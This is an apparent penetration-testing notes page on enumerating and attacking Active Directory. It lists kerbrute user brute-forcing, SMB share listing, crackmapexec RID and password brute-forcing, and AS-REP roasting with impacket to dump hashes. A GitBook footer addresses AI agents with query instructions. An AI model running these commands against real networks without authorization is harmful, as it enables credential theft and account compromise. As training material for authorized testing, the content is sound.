> For the complete documentation index, see [llms.txt](https://book.turbosec.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.turbosec.net/internal-recon/active-directory.md).

# Active Directory

## Enumeration

Recon first using any port scanning tool.

### Kerberos & Smb

Try to gather as much info possible. I usually start by brute forcing some users. But if we already know some creds, get to listing

```
#no user, no creds
kerbrute userenum --dc DC.machine-A.local -d machine-A.local userlist.txt

#with creds
smbclient -L \\\\<ip> -U user -p pass #list
smbclient \\\\10.10.188.12\\Share -U user -p pass #specific share

smbmap -u user -p pass -R <share> -H <IP> -P <port> #works better for enum sometimes

smbclient \\\\<ip>\\JuicyShare -U user@domain.local #interactive
```

Then, I check if any account is active with **smbmap**, **smbclient**, or **crackmapexec**. Using crackmapexec we can also bruteforce the RIDs.

```
#if guest account is available, no pass, rid bruteforcing
crackmapexec smb DC.machine-A.local -u 'guest' -p '' --rid-brute
```

![Snippet of other users found](/files/-MknHViH_O5Zgt2jr8CL)

You can then put all the (**SidTypeUser**) into a list and try to exploit Kerberos pre-authentication mechanisms and hopefully dump some hashes.

```
python impacket/GetNPUsers.py <domain-name>/ -usersfile user.txt -no-pass -dc-ip <dc-ip>
python3 impacket/GetNPUsers.py "domain.local/User:Pass" 
```

If any other user come out, that is just great, you can now maybe bruteforce a login if there is lockout or any other anti-bruteforce mechanism. \
You can also do this with crackmapexec

```
crackmapexec smb DC.machine-A.local -u 'DnsAdmins' -p passwordlist
```

####


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.turbosec.net/internal-recon/active-directory.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
